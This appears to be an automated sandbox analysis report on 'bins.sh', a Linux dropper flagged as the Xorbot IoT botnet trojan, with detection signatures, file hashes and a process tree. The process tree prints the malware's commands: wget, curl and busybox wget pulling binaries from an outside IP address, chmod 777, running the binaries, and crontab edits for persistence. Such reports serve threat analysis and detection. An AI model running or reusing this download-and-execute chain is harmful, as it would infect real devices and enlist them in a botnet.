Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20250619-en
  • resource tags

    arch:armhfimage:debian9-armhf-20250619-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/09/2025, 03:11

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250911-dppv3afl3t
  • SHA256 ef1e3e5b105212307dda1ef228a4494b446f70a40ceef1b1aa6096fba921894e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
antivmbotnetdefense_evasiondiscoveryexecutionxorbotpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1063) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:648
      • /usr/bin/wget
        wget http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • Writes file to tmp directory
        PID:651
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:672
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • Writes file to tmp directory
        PID:679
      • /bin/chmod
        chmod 777 oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • File and Directory Permissions Modification
        PID:692
      • /tmp/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        ./oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
          PID:693
        • /bin/rm
          rm oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
          2⤵
            PID:696
          • /usr/bin/wget
            wget http://178.16.54.252/bins/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
            • Writes file to tmp directory
            PID:698
          • /usr/bin/curl
            curl -O http://178.16.54.252/bins/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:724
          • /bin/busybox
            /bin/busybox wget http://178.16.54.252/bins/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
            • Writes file to tmp directory
            PID:725
          • /bin/chmod
            chmod 777 4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
            • File and Directory Permissions Modification
            PID:734
          • /tmp/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            ./4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:735
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:738
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:740
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:742
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:744
              • /bin/rm
                rm 4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
                2⤵
                  PID:764
                • /usr/bin/wget
                  wget http://178.16.54.252/bins/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                  2⤵
                  • Writes file to tmp directory
                  PID:767

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
                    • Path /tmp/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
                    • Size 178KB
                    • SHA256 9c683b0be86d4cd274a7a16073bdf092218f259b055a72f848d589574e9b8084
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                    • Path /tmp/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
                    • Size 12KB
                    • SHA256 2574fa284627fad9e31be91d2f6d56cb043270aba8e916d0d8428781756e05b8
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
                    • Path /tmp/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
                    • Size 98KB
                    • SHA256 8340ff8920412a70f0c29cdf72f6f218e61142b3f210e70e24811c413971a8ed
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    tmp.exsQlp
                    • Path /var/spool/cron/crontabs/tmp.exsQlp
                    • Size 210B
                    • SHA256 d4c6f01fa2c896b70ae0095790b013ea9e5db86d7094ab9821d80cb4f0ef2274
                    • MD5 SHA1 SHA512
                    Submit Download